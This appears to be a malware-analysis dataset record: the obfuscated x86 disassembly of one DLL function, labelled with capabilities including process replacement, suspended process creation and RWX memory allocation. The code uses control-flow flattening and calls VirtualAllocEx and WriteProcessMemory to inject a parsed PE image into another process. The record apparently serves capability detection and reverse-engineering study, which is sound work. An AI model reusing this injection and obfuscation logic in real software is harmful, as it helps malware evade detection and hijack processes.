Function at 0x10003460
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x160
mov eax, dword [0x1003a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x168], 0x8dad4f4b
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x16c], eax
sub eax, 0x8018a761
je 0x10008e87
jmp 0x1000349c
mov eax, dword [ebp - 0x16c]
sub eax, 0x80d3bfe3
je 0x10008189
jmp 0x100034b2
mov eax, dword [ebp - 0x16c]
sub eax, 0x81670bfc
je 0x10008431
jmp 0x100034c8
mov eax, dword [ebp - 0x16c]
sub eax, 0x818c790e
je 0x100070e0
jmp 0x100034de
mov eax, dword [ebp - 0x16c]
sub eax, 0x81cce909
je 0x10009ab1
jmp 0x100034f4
mov eax, dword [ebp - 0x16c]
sub eax, 0x82106ffc
je 0x1000ac41
jmp 0x1000350a
mov eax, dword [ebp - 0x16c]
sub eax, 0x8262bfd3
je 0x10009e14
jmp 0x10003520
mov eax, dword [ebp - 0x16c]
sub eax, 0x851aa227
je 0x1000ad59
jmp 0x10003536
mov eax, dword [ebp - 0x16c]
sub eax, 0x8548203e
je 0x10009210
jmp 0x1000354c
mov eax, dword [ebp - 0x16c]
sub eax, 0x86c686ed
je 0x10007de9
jmp 0x10003562
mov eax, dword [ebp - 0x16c]
sub eax, 0x87674e04
je 0x10008f9d
jmp 0x10003578
mov eax, dword [ebp - 0x16c]
sub eax, 0x877a3090
je 0x10007e06
jmp 0x1000358e
mov eax, dword [ebp - 0x16c]
sub eax, 0x89aa826a
je 0x1000898a
jmp 0x100035a4
mov eax, dword [ebp - 0x16c]
sub eax, 0x8a345956
je 0x1000a9f5
jmp 0x100035ba
mov eax, dword [ebp - 0x16c]
sub eax, 0x8a7161de
je 0x100066da
jmp 0x100035d0
mov eax, dword [ebp - 0x16c]
sub eax, 0x8becfe37
je 0x1000668e
jmp 0x100035e6
mov eax, dword [ebp - 0x16c]
sub eax, 0x8c6c9334
je 0x1000b487
jmp 0x100035fc
mov eax, dword [ebp - 0x16c]
sub eax, 0x8c78c415
je 0x1000a8ac
jmp 0x10003612
mov eax, dword [ebp - 0x16c]
sub eax, 0x8ca0181e
je 0x10006e09
jmp 0x10003628
mov eax, dword [ebp - 0x16c]
sub eax, 0x8d795d8a
je 0x10006945
jmp 0x1000363e
mov eax, dword [ebp - 0x16c]
sub eax, 0x8dad4f4b
je 0x100058cf
jmp 0x10003654
mov eax, dword [ebp - 0x16c]
sub eax, 0x8de6ea46
je 0x10008cf7
jmp 0x1000366a
mov eax, dword [ebp - 0x16c]
sub eax, 0x8e47166a
je 0x1000ad3a
jmp 0x10003680
mov eax, dword [ebp - 0x16c]
sub eax, 0x8eed1afa
je 0x1000a0be
jmp 0x10003696
mov eax, dword [ebp - 0x16c]
sub eax, 0x8f5d3d54
je 0x1000b46c
jmp 0x100036ac
mov eax, dword [ebp - 0x16c]
sub eax, 0x907defd9
je 0x1000a9a1
jmp 0x100036c2
mov eax, dword [ebp - 0x16c]
sub eax, 0x908a5da8
je 0x10007c55
jmp 0x100036d8
mov eax, dword [ebp - 0x16c]
sub eax, 0x908eeae1
je 0x100078d7
jmp 0x100036ee
mov eax, dword [ebp - 0x16c]
sub eax, 0x90ac79c7
je 0x100061a7
jmp 0x10003704
mov eax, dword [ebp - 0x16c]
sub eax, 0x90b50431
je 0x100083a8
jmp 0x1000371a
mov eax, dword [ebp - 0x16c]
sub eax, 0x912d7ec3
je 0x100099c7
jmp 0x10003730
mov eax, dword [ebp - 0x16c]
sub eax, 0x91e16872
je 0x1000757a
jmp 0x10003746
mov eax, dword [ebp - 0x16c]
sub eax, 0x9297c463
je 0x1000962e
jmp 0x1000375c
mov eax, dword [ebp - 0x16c]
sub eax, 0x92e30349
je 0x1000b135
jmp 0x10003772
mov eax, dword [ebp - 0x16c]
sub eax, 0x9302119e
je 0x10007dca
jmp 0x10003788
mov eax, dword [ebp - 0x16c]
sub eax, 0x93c9f669
je 0x10008d65
jmp 0x1000379e
mov eax, dword [ebp - 0x16c]
sub eax, 0x9418555a
je 0x100075d2
jmp 0x100037b4
mov eax, dword [ebp - 0x16c]
sub eax, 0x9418b9a2
je 0x1000aef9
jmp 0x100037ca
mov eax, dword [ebp - 0x16c]
sub eax, 0x94f7ed30
je 0x10007ff2
jmp 0x100037e0
mov eax, dword [ebp - 0x16c]
sub eax, 0x952faf70
je 0x10009f18
jmp 0x100037f6
mov eax, dword [ebp - 0x16c]
sub eax, 0x9600ce0d
je 0x10009091
jmp 0x1000380c
mov eax, dword [ebp - 0x16c]
sub eax, 0x960463ab
je 0x1000abf4
jmp 0x10003822
mov eax, dword [ebp - 0x16c]
sub eax, 0x96b63ac1
je 0x10008b46
jmp 0x10003838
mov eax, dword [ebp - 0x16c]
sub eax, 0x9712233f
je 0x1000acec
jmp 0x1000384e
mov eax, dword [ebp - 0x16c]
sub eax, 0x97450768
je 0x1000ae5f
jmp 0x10003864
mov eax, dword [ebp - 0x16c]
sub eax, 0x97e1796d
je 0x10006660
jmp 0x1000387a
mov eax, dword [ebp - 0x16c]
sub eax, 0x97e71d12
je 0x100076fc
jmp 0x10003890
mov eax, dword [ebp - 0x16c]
sub eax, 0x982ec8f0
je 0x10009e3e
jmp 0x100038a6
mov eax, dword [ebp - 0x16c]
sub eax, 0x98314916
je 0x1000ac32
jmp 0x100038bc
mov eax, dword [ebp - 0x16c]
sub eax, 0x99bca8d6
je 0x1000ae12
jmp 0x100038d2
mov eax, dword [ebp - 0x16c]
sub eax, 0x9a32c0f5
je 0x1000a264
jmp 0x100038e8
mov eax, dword [ebp - 0x16c]
sub eax, 0x9a9faafd
je 0x1000afa3
jmp 0x100038fe
mov eax, dword [ebp - 0x16c]
sub eax, 0x9b45f4ac
je 0x1000a2ab
jmp 0x10003914
mov eax, dword [ebp - 0x16c]
sub eax, 0x9c2462da
je 0x10008c62
jmp 0x1000392a
mov eax, dword [ebp - 0x16c]
sub eax, 0x9dd30741
je 0x10005e7e
jmp 0x10003940
mov eax, dword [ebp - 0x16c]
sub eax, 0x9dec5f6a
je 0x100082ac
jmp 0x10003956
mov eax, dword [ebp - 0x16c]
sub eax, 0x9e64af9d
je 0x1000ae50
jmp 0x1000396c
mov eax, dword [ebp - 0x16c]
sub eax, 0x9fe3bdd3
je 0x100066ab
jmp 0x10003982
mov eax, dword [ebp - 0x16c]
sub eax, 0xa06c2854
je 0x1000810f
jmp 0x10003998
mov eax, dword [ebp - 0x16c]
sub eax, 0xa0a2325f
je 0x100086f3
jmp 0x100039ae
mov eax, dword [ebp - 0x16c]
sub eax, 0xa0ca5e59
je 0x1000ade4
jmp 0x100039c4
mov eax, dword [ebp - 0x16c]
sub eax, 0xa0ca6270
je 0x100091f1
jmp 0x100039da
mov eax, dword [ebp - 0x16c]
sub eax, 0xa150c329
je 0x10005a77
jmp 0x100039f0
mov eax, dword [ebp - 0x16c]
sub eax, 0xa263455d
je 0x1000895e
jmp 0x10003a06
mov eax, dword [ebp - 0x16c]
sub eax, 0xa26efe2f
je 0x10008fac
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x94395a7a
sub edx, 1
sub edx, 0x94395a7a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a16e84b
mov ecx, 0x69d40b6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfbbd88df
mov ecx, 0x6ee86bc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0xe3fc4b23
sub edx, 1
sub edx, 0xe3fc4b23
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2afe0112
mov ecx, 0x4fea9e8e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
movss xmm0, dword [0x10018388]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10018384]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x168], 0xe6ee9709
jmp 0x1000b55d
mov dword [ebp - 0x168], 0xb8166644
jmp 0x1000b55d
mov dl, 1
mov eax, 0xee2b01d1
mov ecx, 0x9fe3bdd3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
movss xmm0, dword [0x1001835c]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x10018358]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x168], 0x8a7161de
jmp 0x1000b55d
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd31b7a
mov ecx, 0x3d46cbc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov dl, 1
mov eax, 0xcc0466d9
mov ecx, 0x5a83ced1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov dword [ebp - 0x168], 0xdd4db9f6
jmp 0x1000b55d
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x762cfa87
mov ecx, 0x67713196
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x395b8118
mov ecx, 0xe3a6749b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
movss xmm0, dword [0x100182fc]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x168], 0xc2a15651
jmp 0x1000b55d
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x7be60975
sub edx, 1
add edx, 0x7be60975
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ed47e
mov ecx, 0xae58cbd0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x72f68168
mov ecx, 0x117a33ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov dword [ebp - 0x168], 0xddc3b632
jmp 0x1000b55d
movss xmm0, dword [0x100182d0]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x168], 0x86c686ed
jmp 0x1000b55d
mov dl, 1
mov eax, 0x165bf52c
mov ecx, 0x877a3090
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
movss xmm0, dword [0x100182cc]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x100182c8]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x168], 0xf71f9cae
jmp 0x1000b55d
movss xmm0, dword [0x100182bc]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100182b8]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100182b4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x168], 0x3d0c945
jmp 0x1000b55d
mov dword [ebp - 0x168], 0x2bdd5516
jmp 0x1000b55d
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5006a3c9
mov ecx, 0xeb8b6424
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0x4bfa111e
sub edx, 1
sub edx, 0x4bfa111e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x236ca2c1
mov ecx, 0xd3bb158
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov dword [ebp - 0x168], 0x38c26c87
jmp 0x1000b55d
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x15b3a8aa
sub edx, 1
sub edx, 0x15b3a8aa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4ca8c4cb
mov ecx, 0xf569a59f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov dl, 1
mov eax, 0xf66da32f
mov ecx, 0xe71285f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov dword [ebp - 0x168], 0xb9cf2241
jmp 0x1000b55d
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xabe2d355
mov ecx, 0x1663768a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
movss xmm0, dword [0x10018274]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x168], 0x3d4b9ac4
jmp 0x1000b55d
movss xmm0, dword [0x10018268]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x168], 0xcecd7e6d
jmp 0x1000b55d
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x92e30349
mov ecx, 0x93c9f669
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov dl, 1
mov eax, 0x8018a761
mov ecx, 0xa8e9765e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
movss xmm0, dword [0x10018260]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x1001825c]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x168], 0x32645aa1
jmp 0x1000b55d
mov dword [ebp - 0x168], 0xa26efe2f
jmp 0x1000b55d
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0xdebde9d8
sub edx, 1
sub edx, 0xdebde9d8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4554572b
mov ecx, 0x44b8796e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
movss xmm0, dword [0x10018248]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x168], 0x8548203e
jmp 0x1000b55d
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1090bf4d
mov ecx, 0x31aa0bfe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov edx, dword [ebp - 0x138]
mov eax, 0x82106ffc
mov ecx, 0x7f3fd62d
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov dl, byte [ebp - 0xc9]
mov eax, 0x98314916
mov ecx, 0x2c01a342
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, 0xe1aeadc8
mov ecx, 0x5faf16a2
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov eax, dword [ebp - 0xbc]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0xc0]
mov eax, 0x2bfe4d8f
mov ecx, 0x982ec8f0
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf8]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x168], 0xefff7adc
jmp 0x1000b55d
mov edx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
sub edx, 0x4dd6fcaa
add edx, eax
add edx, 0x4dd6fcaa
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf8]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100033a0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf8]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0xa9], al
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0xa5af8dfc
sub edx, 1
sub edx, 0xa5af8dfc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x510fe1d6
mov ecx, 0xa43cea78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf8]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf8]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x168], 0x3f31e394
jmp 0x1000b55d
mov edx, dword [ebp - 0x98]
mov eax, 0x6fa50c06
mov ecx, 0xc86df61a
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov dl, byte [ebp - 0x91]
mov eax, 0x6fa50c06
mov ecx, 0x10ea7aca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x4608c102
sub edx, 1
add edx, 0x4608c102
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa5b972d1
mov ecx, 0xb4767a55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x1000b55d
mov dword [ebp - 0x168], 0xcfbd2ecc
jmp 0x1000b55d
mov dword [ebp - 0x168], 0x6fa50c06
jmp 0x1000b55d
mov dword [ebp - 0x168], 0x88d04cc
jmp 0x1000b55d
mov dword [ebp - 0x168], 0x82106ffc
jmp 0x1000b55d
mov dword [ebp - 0x168], 0xa2127f8
jmp 0x1000b55d
movss xmm0, dword [0x10018224]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10018220]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x168], 0x36ceda75
jmp 0x1000b55d
movss xmm0, dword [0x10018218]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x168], 0x2b864289
jmp 0x1000b55d
movss xmm0, dword [0x10018214]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x168], 0x7af40839
jmp 0x1000b55d
mov dword [ebp - 0x168], 0xbffa37cc
jmp 0x1000b55d
mov dword [ebp - 0x168], 0xdd7dac73
jmp 0x1000b55d
mov dword [ebp - 0x168], 0xe572586
jmp 0x1000b55d
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x168], 0xb8a2c958
jmp 0x1000b55d
movss xmm0, dword [0x100181e8]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x168], 0xfd465f8b
jmp 0x1000b55d
movss xmm0, dword [0x100181d4]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x168], 0xb2637abf
jmp 0x1000b55d
mov dword [ebp - 0x168], 0x8de6ea46
jmp 0x1000b55d
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x168], 0x1b79e01c
jmp 0x1000b55d
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x168], 0x7e5f1ee5
jmp 0x1000b55d
jmp 0x10003480